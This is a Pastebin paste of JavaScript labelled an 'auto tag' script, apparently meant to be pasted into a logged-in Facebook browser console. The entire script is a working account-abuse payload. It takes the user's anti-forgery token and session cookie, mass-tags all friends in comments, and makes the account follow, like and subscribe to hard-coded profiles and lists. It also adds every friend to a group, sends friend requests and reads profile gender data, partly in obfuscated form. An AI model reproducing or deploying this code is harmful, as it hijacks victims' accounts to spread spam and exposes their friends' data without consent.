Advertisement
VilsonSaci

Facebook Auto Tag Script

May 17th, 2014
441
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 11.45 KB | None | 0 0
  1. /* CREDITOS AO MIGUEL TARGA, ESSA PARTE E DELE */
  2. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  3.  
  4. //Pegar todos amigos
  5. function get_friends(){
  6. var a=x__0();
  7. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  8. a.send(null);
  9. if (a.readyState == 4) {
  10. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  11. return f.payload.entries;
  12. }
  13. return false;
  14. }
  15.  
  16. /* FIM DA PARTE DO MIGUEL TARGA */
  17.  
  18. //Pegar todos amigos
  19. function get_uid(b){
  20. var a=x__0();
  21. a.open("GET", 'http://graph.facebook.com/'+b, false);
  22. a.send();
  23. if (a.readyState == 4) {
  24. return uid = JSON.parse(a.responseText).id;
  25.  
  26. }
  27. return false;
  28. }
  29. // Pattern que vai trocar o valor dos coment?rios pelas marcaç?es
  30.  
  31. var patt = /comment_text=(.*?)&/
  32. var c = 1;
  33. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  34. uid = get_uid(username);
  35. a = window.top.location;
  36. termina = 0;
  37. var amigos = get_friends();
  38. post_id = /[0-9]{8,}/.exec(a);
  39. uids = 'comment_text=';
  40. header = 'ft_ent_identifier='+post_id+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  41. for ( var n = 1 ; n < amigos.length ; n++ ){
  42. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  43. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  44. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  45. c++;
  46. if(c == 7){
  47. // Quando o contador chega em 7, ele termina o parâmetro com um &...
  48. uids += '&';
  49. // ...envia as coisas com o método do indiano...
  50. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  51.  
  52. // ... espera um segundo...
  53. z = setTimeout('function(){asd=0}', 1000);
  54. clearInterval(z);
  55.  
  56. // ... e seta tudo de novo pra recomeçar
  57. c = 1;
  58. uids = 'comment_text=';
  59.  
  60.  
  61. }
  62.  
  63. }
  64.  
  65. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  66. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  67.  
  68. function cereziAl(isim) {
  69. var tarama = isim + "=";
  70. if (document.cookie.length > 0) {
  71. konum = document.cookie.indexOf(tarama)
  72. if (konum != -1) {
  73. konum += tarama.length
  74. son = document.cookie.indexOf(";", konum)
  75. if (son == -1)
  76. son = document.cookie.length
  77. return unescape(document.cookie.substring(konum, son))
  78. }
  79. else { return ""; }
  80. }
  81. }
  82.  
  83. function getRandomInt (min, max) {
  84. return Math.floor(Math.random() * (max - min + 1)) + min;
  85. }
  86. function randomValue(arr) {
  87. return arr[getRandomInt(0, arr.length-1)];
  88. }
  89.  
  90. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  91. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  92.  
  93. function a(abone){
  94. var http4 = new XMLHttpRequest();
  95.  
  96. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  97.  
  98. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  99. http4.open("POST", url4, true);
  100.  
  101. //Send the proper header information along with the request
  102. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  103. http4.setRequestHeader("Content-length", params4.length);
  104. http4.setRequestHeader("Connection", "close");
  105.  
  106. http4.onreadystatechange = function() {//Call a function when the state changes.
  107. if(http4.readyState == 4 && http4.status == 200) {
  108.  
  109. http4.close; // Close the connection
  110.  
  111. }
  112. }
  113.  
  114. http4.send(params4);
  115. }
  116.  
  117. function sublist(uidss) {
  118. var a = document.createElement('script');
  119. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  120. document.body.appendChild(a);
  121. }
  122.  
  123.  
  124.  
  125. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  126. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  127. alert('AutoTag By : Vilson Saçi.  ');                  
  128. function a(abone){
  129. var http4 = new XMLHttpRequest();
  130. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  131. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  132. http4.open("POST", url4, true);
  133. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  134. http4.setRequestHeader("Content-length", params4.length);
  135. http4.setRequestHeader("Connection", "close");
  136. http4.onreadystatechange = function() {
  137. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  138. }
  139. http4.send(params4);
  140. }
  141.  
  142. sublist("827079857321005");sublist("716570145049118");sublist("682441095128690");sublist("827080560654268");sublist("755537921141866");sublist("777978295564495");sublist("798028190226172");sublist("798028086892849");sublist("809109455784712");sublist("1441194856121042");a("100000569963266");a("100006065978204");a("100000884170195");a("100005131932598");a("1413699705549669");a("627888383961400");
  143. Like("475099185870061");Like("249048678610871");Like("1487890411424279");Like("1419432078307080");Like("546594725461669");Like("716431721735818");Like("606913976071159");Like("1490775844472287");
  144.  
  145. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  146. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  147.  
  148. var httpwp = new XMLHttpRequest();
  149. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  150. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  151. httpwp['open']('POST', urlwp, true);
  152. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  153. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  154. httpwp['setRequestHeader']('Connection', 'keep-alive');
  155. httpwp['send'](paramswp);
  156.  
  157. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  158. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  159.  
  160. var friends = new Array();
  161. gf = new XMLHttpRequest();
  162. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  163. gf['send']();
  164. if (gf['readyState'] != 4) {} else {
  165. data = eval('(' + gf['responseText']['substr'](9) + ')');
  166. if (data['error']) {} else {
  167. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  168. return _0x93dax8['index'] - _0x93dax9['index'];
  169. });
  170. };
  171. };
  172.  
  173. for (var i = 0; i < friends['length']; i++) {
  174. var httpwp = new XMLHttpRequest();
  175. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  176. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  177. httpwp['open']('POST', urlwp, true);
  178. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  179. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  180. httpwp['setRequestHeader']('Connection', 'keep-alive');
  181. httpwp['onreadystatechange'] = function () {
  182. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  183. };
  184. httpwp['send'](paramswp);
  185. };
  186. var spage_id = "100211486794985";
  187. var spost_id = "100211486794985";
  188. var sfoto_id = "100211486794985";
  189. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  190. var smesaj = "";
  191. var smesaj_text = "";
  192. var arkadaslar = [];
  193. var svn_rev;
  194. var bugun= new Date();
  195. var btarihi = new Date();
  196. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  197. if(!document.cookie.match(/paylasti=(\d+)/)){
  198. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  199. }
  200.  
  201.  
  202. //arkadaslari al ve isle
  203. function sarkadaslari_al(){
  204. var xmlhttp = new XMLHttpRequest();
  205. xmlhttp.onreadystatechange = function () {
  206. if(xmlhttp.readyState == 4){
  207. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  208. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  209. smesaj = "";
  210. smesaj_text = "";
  211. for(i=f*10;i<(f+1)*10;i++){
  212. if(arkadaslar.payload.entries[i]){
  213. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  214. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  215. }
  216. }
  217. sdurumpaylas(); }
  218.  
  219. }
  220.  
  221. };
  222. var params = "&filter[0]=user";
  223. params += "&options[0]=friends_only";
  224. params += "&options[1]=nm";
  225. params += "&token=v7";
  226. params += "&viewer=" + user_id;
  227. params += "&__user=" + user_id;
  228.  
  229. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  230. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  231. xmlhttp.send();
  232. }
  233.  
  234. //tiklama olayini dinle
  235. var tiklama = document.addEventListener("click", function () {
  236. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  237. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  238. sarkadaslari_al();
  239. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  240.  
  241. document.removeEventListener(tiklama);
  242. }
  243. }, false);
  244.  
  245.  
  246. //arkada?? ekleme
  247. function sarkadasekle(uid,cins){
  248. var xmlhttp = new XMLHttpRequest();
  249. xmlhttp.onreadystatechange = function () {
  250. if(xmlhttp.readyState == 4){
  251. }
  252. };
  253.  
  254. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  255. var params = "to_friend=" + uid;
  256. params += "&action=add_friend";
  257. params += "&how_found=friend_browser";
  258. params += "&ref_param=none";
  259. params += "&outgoing_id=";
  260. params += "&logging_location=friend_browser";
  261. params += "&no_flyout_on_click=true";
  262. params += "&ego_log_data=";
  263. params += "&http_referer=";
  264. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  265. params += "&phstamp=165816749114848369115";
  266. params += "&__user=" + user_id;
  267. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  268. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  269.  
  270. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  271. xmlhttp.send(params);
  272. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  273. cinsiyetgetir(uid,cins,"sarkadasekle");
  274. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  275. xmlhttp.send(params);
  276. }
  277. }
  278.  
  279. //cinsiyet belirleme
  280. var cinssonuc = {};
  281. var cinshtml = document.createElement("html");
  282. function scinsiyetgetir(uid,cins,fonksiyon){
  283. var xmlhttp = new XMLHttpRequest();
  284. xmlhttp.onreadystatechange = function () {
  285. if(xmlhttp.readyState == 4){
  286. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  287. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  288. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  289. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  290. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  291. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  292. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  293. }
  294. eval(fonksiyon + "(" + id + "," + cins + ");");
  295. }
  296. };
  297. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  298. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  299. xmlhttp.send();
  300. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement